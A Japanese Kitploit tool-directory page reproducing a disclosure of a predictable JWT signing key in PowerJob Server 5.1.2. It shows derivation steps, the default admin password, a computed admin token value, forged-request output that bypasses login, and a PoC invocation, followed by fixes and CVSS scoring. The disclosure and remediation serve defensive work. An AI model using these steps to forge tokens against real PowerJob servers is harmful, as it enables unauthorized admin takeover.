Skip to content
KitploitKITPLOIT
ツールブログ
提出
ツールブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
CVE-2026-75431_PowerJob_jwt_key_predictable — PowerJob Serverにおける重大なJWT署名鍵の予測可能性の脆弱性を実証し、オフラインでの鍵導出とトークン偽造を可能にして、管理者乗っ取りとOpenAPI認証バイパスを引き起こします。 | Kitploit
ツール/GitHubGitHub/unpredictable21/cve-2026-75431_powerjob_jwt_key_predictable
脆弱性分析エクスプロイトウェブセキュリティペネトレーションテスト認証
GitHubunpredictable21/cve-2026-75431_powerjob_jwt_key_predictable

CVE-2026-75431_PowerJob_jwt_key_predictable

PowerJob Serverにおける重大なJWT署名鍵の予測可能性の脆弱性を実証し、オフラインでの鍵導出とトークン偽造を可能にして、管理者乗っ取りとOpenAPI認証バイパスを引き起こします。

リポジトリを見る
24日前未レビュー

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有

PowerJob JWT署名キーの予測可能性(デフォルトJDBC URLから導出されるキー)→ トークン偽造

1. 概要

PowerJob ServerのJWT(HS256)署名キーは、ハードコードされた定数とデフォルトJDBC URLのMD5を連結したものをBASE64デコードして導出されます(DefaultSecretProvider / JwtServiceImpl)。JDBC URLはデフォルトのデプロイメント(docker-compose / application-daily.properties)で公開されているため、攻撃者はキーを完全にオフラインで導出し、任意のユーザー(管理者を含む)の有効なJWTを偽造できます。また、OpenAPI App Tokenも同様に偽造してOpenAPI認証をバイパスできます。

2. 影響を受ける製品

  • 製品: PowerJob Server(Webコンソール7700 + OpenAPI)
  • 影響を受けるバージョン: 5.1.2
  • デフォルトのデプロイメント: application-daily.properties に jdbc:mysql://powerjob-mysql:3306/powerjob-daily?... が平文で公開

3. 脆弱性の箇所

  • powerjob-server-auth/.../jwt/impl/DefaultSecretProvider.java:31-45: return md5(environment.getProperty("spring.datasource.core.jdbc-url"));
  • powerjob-server-auth/.../jwt/impl/JwtServiceImpl.java:44-102: ハードコードされた BASE_SECURITY 定数; genSecretKey(secret) = Decoders.BASE64.decode(BASE_SECURITY.concat(secret)) → Keys.hmacShaKeyFor
  • キーはリポジトリ/データベースを業務データと共有しており、JDBC URLは設定/docker-compose内で平文です。

4. 根本原因

  • ランダムで永続化されたキーの代わりに、予測可能/導出可能なキーが使用されています。キーは公開定数 + 公開デフォルトURLのMD5のみに依存します。
  • JWTペイロード(username/encryptedToken)にはPWJBアカウントの二次チェック(DigestUtils.rePassword(password, username))がありますが、以下の問題があります:
    • デフォルトパスワードではこの値はオフラインで計算可能 → 完全な管理者乗っ取りが可能;
    • OpenAPI App Token(クレーム appId/password/encryptType)は直接偽造して認証をバイパス可能(OpenApiSecurityServiceImpl:87-105);
    • 他のサードパーティログインアカウントには二次チェックがない場合があります。

5. 再現手順(検証済み — 完全なエンドツーエンド)

環境: ローカルPowerJobサーバー(127.0.0.1:7700、JDBC URL jdbc:mysql://127.0.0.1:3307/powerjob_daily?useUnicode=true&characterEncoding=UTF-8&serverTimezone=Asia/Shanghai&allowMultiQueries=true)。攻撃者は公開情報のみからすべてをオフラインで導出します:

root@kitploit:~
# ① encryptedToken(= rePassword(password, username))を導出; デフォルトパスワードで計算可能
rePassword("powerjob_admin", "ADMIN")
   = ADMIN_b82a450701f6a71723fb99931fe35e18_b      # DBのuser_info.token_login_verify_infoとバイト単位で完全一致 ✅

# ② HS256署名キー = BASE64(BASE_SECURITY + MD5(JDBC_URL)) を導出
secret = BASE_SECURITY + md5(jdbc_url)             # 101バイトのキー

# ③ ADMIN Web JWTを偽造(クレーム: username=PWJB_ADMIN, encryptedToken=①の結果, sub=PowerJob)

実際の結果(偽造トークンが認証を通過):

root@kitploit:~
[*] /namespace/list トークンなし :
{"success":false,"data":null,"message":"PowerJobAuthException: UserNotLoggedIn","code":"-100"}

[*] /namespace/list 偽造JWT :
{"success":true,"data":{"index":0,"pageSize":10,"totalPages":1,"totalItems":1,"data":[{"id":1,"code":"default_namespace","name":"default_namespace","dept":null,"tags":null,"extra":null,"status":1,"statusStr":"ENABLE","gmtCreate":"2026-08-07T13:07:32.000+00:00","gmtCreateStr":"2026-08-07 21:07:32","gmtModified":"2026-08-07T13:07:32.000+00:00","gmtModifiedStr":"2026-08-07 21:07:32","showName":"default_namespace(default_namespace)","token":"14e4ebff-9a79-4845-ac66-8b20c4dff2ee","componentUserRoleInfo":{"observer":[],"qa":[],"developer":[],"admin":[]},"creatorShowName":null,"modifierShowName":null}]},"message":null}

→ 偽造トークンは管理者として認証され、実際のデータを返します(ベースラインは UserNotLoggedIn で拒否されます)。

重要なポイント:

  • オフラインで導出した encryptedToken はDBに保存されている値とバイト単位で完全一致します(ADMIN_b82a450701f6a71723fb99931fe35e18_b)。
  • キーは公開定数 BASE_SECURITY + 公開デフォルトJDBC URLのMD5のみで完全に決定されます → 資格情報なしでオフライン導出が可能。
  • PWJBの encryptedToken はデフォルトパスワード(powerjob_admin、発見事項PJ-02)でオフライン再計算可能 → 完全な管理者乗っ取りが可能。
  • 管理者がパスワードを変更した場合、Webトークンの偽造は encryptedToken の不一致でブロックされますが、OpenAPI App Token 経路(クレーム appId/password/encryptType、OpenApiSecurityServiceImpl:87-105)は独立して偽造可能で、OpenAPI認証をバイパスできます。

デフォルトパスワードが変更されても、他の攻撃ベクトルを通じて脆弱性は残ります:

  • 他の手段(SQLインジェクション、データベースバックアップの漏洩、ログ漏洩、他のエンドポイントからの情報開示など)で任意の有効なユーザーの encryptedToken を入手した攻撃者は、そのトークンと予測可能な署名キーを組み合わせて、その特定ユーザーのJWTを偽造できます。
  • これにより encryptedToken の不一致問題を完全にバイパスできます。偽造トークンには実際のデータベースレコードから導出された正当な encryptedToken が含まれるためです。
  • その結果、攻撃者はユーザーの平文パスワードを一切知る必要がなく、ユーザーがパスワードを変更した後も偽造JWTは有効のままです(トークンが期限切れになるまで)。

PoC: powerjob_jwt_key.py 192.168.49.128:7700

image
image

6. 影響

  • 認証バイパス / 任意ユーザーのトークン偽造 → Webコンソール / OpenAPI管理画面への不正アクセス。

7. 推奨される修正

  • キーをランダムに生成して永続化(ファイル/環境変数)し、JDBC URLや定数から決して導出しないこと。
  • OpenAPI App TokenとWeb JWTで別々のキーを使用すること。
  • すべてのアカウントで encryptedToken の二次チェックを適用すること。

8. CWE / CVSS

  • CWE: CWE-321(ハードコードされた暗号鍵の使用)/ CWE-798
  • CVSS: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N = 9.1 Critical(デフォルトパスワード / OpenAPIと組み合わせた場合)
ツールをダウンロード